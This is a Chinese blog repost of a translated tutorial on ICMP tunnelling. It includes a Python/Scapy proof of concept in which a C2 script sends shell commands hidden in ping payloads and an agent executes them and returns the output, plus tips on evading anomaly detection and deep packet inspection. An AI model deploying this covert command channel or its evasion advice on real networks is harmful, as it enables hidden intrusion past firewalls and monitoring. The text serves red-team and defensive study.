【翻译-转载】ICMP隧道介绍与利用

0x00 前言

      今天在先知社区看到一篇转载翻译文章,介绍了ICMP(Internet控制报文协议)中的ping消息的利用方式。文章从底层协议入手,分析ping数据包的IP数据报的格式内容及payload数据如何更改,这使得我又翻开了大学里的《计算机网络》,哈哈哈。。。回头再读到该章节部分时,豁然开朗。文章提到了一个名词是“深度包检测”,这个之前总在绿盟的WAF和IPS上的白皮书看到的,当时并不怎么理解,仅仅局限在表面意思,未曾较为深入的理解和搜索相关内容,结合今日所看到的的文章内容,也能够较为通透。

     下面给出原文地址:https://xz.aliyun.com/t/3836?accounttraceid=361bb77e-5115-4c82-8863-2231109cf571#toc-3

     翻译文章,有些语句较为不通顺,不过比我的英文好的太多了。英文原文地址:https://medium.com/bugbountywriteup/ping-power-icmp-tunnel-31e2abb2aaea

0x01 ICMP

      攻击者在展开攻击时会遇到很多挑战。其中两个挑战是:
      1.克服网络障碍(网络策略、分段等)。
      2.在“隐身模式(stealth mode)”下执行不同的操作,这样他就不会被抓到。
      应对这些挑战的一种好方法是在尝试创建可以跨越网络中不同障碍的隐式连接时使用ICMP隧道。
      在计算机网络中,隧道协议是一种网络协议,在其中,使用一种网络协议(发送协议),将另一个不同的网络协议,封装在负载部分。在这里您可以了解更多。
ICMP(InternetControlMessageProtocol,Internet控制报文协议)是Internet协议簇中的一种支持协议。。网络设备使用它来发送错误消息和操作信息。最为大家所熟知的也可能是最常用的ICMP消息是Ping消息。
       Ping是一种控制消息,是ICMP(Internet控制报文协议)的一部分。Ping从网络中的一个节点发送到另一个节点。它是由第2层和第3层报头(由OSI模块定义的MAC和IP报头)和一个特殊的ICMP数据包构建的。发送节点将设置目标参数,

如果目标收到消息,它将立即返回这是

https://xzfile.aliyuncs.com/media/upload/picture/20190112154320-bbaf5b8c-163d-1.png

ping数据包的IP数据报-
https://xzfile.aliyuncs.com/media/upload/picture/20190112154413-dace05a4-163d-1.png
       ICMP隧道可以通过更改Payload数据来完成,这样它将包含我们要发送的数据。
       通常它包含默认的payload数据,比如这个ASCII字符串 - “abc defghijklmnopqrstuvwabcdefghi”
https://xzfile.aliyuncs.com/media/upload/picture/20190112154554-17439620-163e-1.png
       Wireshark — ICMP数据包, Payload Data
       如果我们将HTTP数据包封装在Payload数据中,这就是绕过付费WiFi验证最常见的办法。这可以通过使用代理服务器来实现,代理服务器等待ping消息并根据需要发送它们(例如,作为HTTP)。

https://xzfile.aliyuncs.com/media/upload/picture/20190112155745-bf4a21ee-163f-1.png

       使用合适的工具(如ptunnel),将您原本发送到Google的HTTP数据包封装到Ping数据包中(位于Payload数据中)。然后将其发送至代理服务器IP地址。
注意:  这个IP不是HTTP包的目的地址(HTTP包的IP目的地址是www.google.com 的IP)
      1.由于airports routers(路由器)常允许ICMP流量离开网络,因此路由器将向代理服务器发送Ping消息。
      2.代理服务器接收Ping数据包,并将其分成两部分。ICMP报头,包含原始HTTP消息的payload。
     注意:代理发送到google的HTTP数据包的源IP应该是代理服务器本身的IP,而不是您的笔记本电脑(或机场的路由器…)的IP。因为Google要回复给代理,而不是回复给你。

      以上可能是ICMP隧道最常见的用途。但作为Red team的一员,我确实发现它作为一种“不为人知”的方法来规避防火墙和其他网络策略非常有用。所有这些都是可能的,因为ping消息可以通过路由器从“付费wifi”局域网发送到互联网。
      为什么这种情况会发生呢?
      作为一名前网络工程师,我可以负责人地告诉您,即使是最复杂的问题,ping也具有很强的理解和解决能力。大多数故障排除过程首先都是从测试信息是否从一个点传递到另一个点。这条信息路径是否可行?网络组件是否处于活跃状态并且能够响应?Ping消息可以最简单的方式回答这些问题以及其他许多问题。这些故障排除过程每天都会发生。这意味着网络的配置必须允许从一个节点到另一个节点在网络上传输ping消息。每个防火墙策略、路由器策略和交换机ACL(访问列表)都必须允许ICMP消息从几乎任何网络组件流向任何其他网络组件。
      这就是为什么ping消息受到网络分段和网络策略的影响比较小。
知道了这一点,我认为,当您遇到分段和网络策略等障碍时,为了在网络中创建连接,代理使用icmp隧道与C&C服务器连接是个不错的办法。

0x03 POC

      我用python编写了一个简单的POC(概念证明)来演示它是如何工作的。
请注意:

      此POC要求您安装Scapy(这是一个很好的学习工具)。
      此POC不涉及碎片处理。例如,如果来自代理的数据量大于允许的有效负载数据量,就会出现碎片。

      此POC将涉及C&C服务器和代理。其中C2服务器将通过ICMP隧道将命令发送给代理,代理也将通过ICMP隧道返回结果。

1、C2.py

#!/usr/bin/env python3
from scapy.all import *
def main():
    while True:
        command = raw_input('# Enter command: ')
        # build the ICMP packet with the command as the payload
        pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command
        send(pinger)
        # wait for the ICMP message containing the answer from the agent   
        # to be received
        rx = sniff(count=1, timeout=2)
        # use this if agent is not on local machine: rx = sniff(filter="icmp", count=1)
        print(rx[0][Raw].load.decode('utf-8'))
if __name__ == "__main__":
    main()

 

2、Agent.py

#!/usr/bin/env python3
import os
from scapy.all import *
def main():
    while True:
        # wait for the ICMP message containing the command from the C2 server
        # to be received
        rx = sniff(filter="icmp", count=1)
        # strip down the packet to the payload itself
        var = rx[0][Raw].load.decode('utf-8')
        # run the command and save the result
        res = os.popen(var).read()
        # build the ICMP packet with the result as the payload
        send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
    main()

运行:

https://xzfile.aliyuncs.com/media/upload/picture/20190112163617-2135a928-1645-1.png
用Wireshark看看到底发生了什么:

https://xzfile.aliyuncs.com/media/upload/picture/20190112163639-2e0cda7c-1645-1.png
C2-pwd命令

https://xzfile.aliyuncs.com/media/upload/picture/20190112163705-3d88819a-1645-1.png
代理 — pwd结果
       正如您所看到的,有两条ICMP消息,一条是命令消息,一条是结果消息。

0x04 D.P.O.V(防御观点)

        从防御的角度来看一看,当我们在构建这种工具时我们应该着重考虑什么。需要记住的最重要的一点是,网络安全工具并不是以防火墙白名单策略开始和结束。当今的大多数防御工具将包括某种异常检测功能。 首先阐述相关主题的常见行为,这是一种刻画异常的好方法。
      谈到常规网络中的ping消息,我们可以假设以下功能:
      1.大多数ping消息将以默认方式一次发送 - 4个ping。
      2.Ping消息来自类型8 (回应Ping请求),Ping应答来自类型0 (回应Ping应答)
      3.每个ping数据包都会发送一些字段(使用Windows 8.1)-id=0x0001。重放的seq将等于请求的seq有效负载数据将保留其默认大小(32字节)的内容 - “abcdefghijklmnopqrstuvwabcdefghi”

https://xzfile.aliyuncs.com/media/upload/picture/20190112164900-e8042f38-1646-1.png       了解这点,你必须考虑:

       1.以这样一种方式构建C&C和Agent,即每1分钟在一个批处理中不会有超过4个ping消息(举例)。如果传输的数据需要15个ping消息,则需要3分钟才能通过。这看起来非常缓慢,如果有人或软件正在监测这次传输,那就是值得的。
       2.确保ping请求和应答在逻辑上正确。例如,如果您发送的每条ping消息都是0类型,那么在没有ping请求的情况下看到大量ping响应会很奇怪。
       3.当你展开研究时,尽量与周围环境相似。当然,您可以保持这个字段是可配置的,并且可以随心所欲地更改它们。
       4.请注意,PayLoad数据大小将影响第一部分(ping消息的数目),它是一个元数据信息。
       5.payload数据内容  - 让我们来谈谈DPI ......

0x05 DPI-深度包检测

       传统的数据包检测读取数据包的元数据(主要是报头),深度数据包检测则实时读取数据包的内容。大多时候,它会查看payload,并试图检测它是否正确。
在我们的案例中,一个使用协议异常功能的DPI工具可以通过查看payload发现ICMP隧道,并发现它有异常的。
       在这种情况下,它不会帮助我们更改所有其他参数。
那么,我们为什么还要费心于ICMP隧道呢?因为DPI不是一项简单的功能,您可能会遇到没有此功能的许多网络。
       大多数DPI工具依赖于签名数据库——如果没有与ICMP消息相关的签名,那么它将无法检测ICMP隧道。即使数据库中有相关的签名,管理员也应该首先将其配置为活动模式。为什么他不激活它?每个签名检查占用处理资源(主要是CPU和时间),因此可能会减慢网络速度。网络检查可以包括具有不同负载大小的不同类型的ping消息(例如,ping-l 1234 8.8.8.8将发送带有1234[字节]的负载数据的ping消息,以排除涉及MTU功能的问题。激活这种签名会引发大量的误报警报,从而惹恼监控团队,降低签名的可靠性。

0x06 各类隧道

       ICMP隧道是一种很好的“不为人知”的通信工具。虽然根据网络上现有的防御措施,有时它的效果会较差,但很多时候,您会发现它是克服某些限制的一种简单而方便的方法。
       最重要的是,这是一个值得每一个网络研究人员掌握的知识点。如果您掌握了诀窍,您可以根据需要开发任意多个不同的解决方案,例如:dns隧道、ssh隧道等…

0x07 小记

本地搭建环境还原以上场景:

1、Ping wireshark抓包

       Ping消息默认的payload数据,默认数据为:

Frame 5: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface 0

Ethernet II, Src: Vmware_06:a7:67 (00:0c:29:06:a7:67), Dst: Vmware_fb:18:eb (00:50:56:fb:18:eb)

Internet Protocol Version 4, Src: 192.168.47.133, Dst: 183.232.231.173

Internet Control Message Protocol

Type: 8 (Echo (ping) request)

Code: 0

Checksum: 0x8afa [correct]

[Checksum Status: Good]

Identifier (BE): 4793 (0x12b9)

Identifier (LE): 47378 (0xb912)

Sequence number (BE): 1 (0x0001)

Sequence number (LE): 256 (0x0100)

[Response frame: 6]

Timestamp from icmp data: Jan 16, 2019 10:25:00.000000000 CST

[Timestamp from icmp data (relative): 0.165481755 seconds]

Data (48 bytes)

Data: 5e86020000000000101112131415161718191a1b1c1d1e1f...

[Length: 48]

2、命令执行

3、wireshark 分析ICMP命令

       这里本地wireshark抓包的时候需要选择过滤器,刚开始只是监听本地eth0网卡,后来发现并未捕捉到本地流量,因为走的是localhost,并未出eth0网卡,所以,过滤器就选择了any。

最后附上结果:

       1、C2命令发送:whoami

       2 agent返回 root

       总结,这是个很好的思路,对于隧道传输有更好了理解。

发表评论

电子邮件地址不会被公开。 必填项已用*标注